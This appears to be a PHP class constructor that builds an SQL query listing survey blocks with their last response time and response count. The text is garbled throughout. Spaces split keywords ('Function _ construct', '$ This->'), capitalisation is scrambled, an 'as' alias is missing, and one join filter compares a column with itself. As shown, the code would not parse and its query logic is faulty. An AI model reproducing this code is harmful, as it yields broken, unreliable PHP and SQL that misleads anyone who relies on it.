Function _ construct (){

$ This-> setQuery (

'Select distinct btSurvey. bID,

CollectionVersions. cID, btSurvey. question, CollectionVersions. cvName,

(Select max (timestamp) from btSurveyResults where btSurveyResults. bID

= BtSurvey. bID and btSurveyResults. cID = CollectionVersions. cID)

LastResponse, (select count (timestamp) from btSurveyResults where

BtSurveyResults. bID = btSurvey. bID and btSurveyResults. cID =

CollectionVersions. cID) as numberOfResponses '.

'From btSurvey, CollectionVersions,

CollectionVersionBlocks ');

$ This-> filter (false, 'btsurvey. bID =

CollectionVersionBlocks. bID ');

$ This-> filter (false, 'collectionversions. cID =

CollectionVersionBlocks. cID ');

$ This-> filter (false, 'collectionversionblocks. cvID =

CollectionVersionBlocks. cvID ');
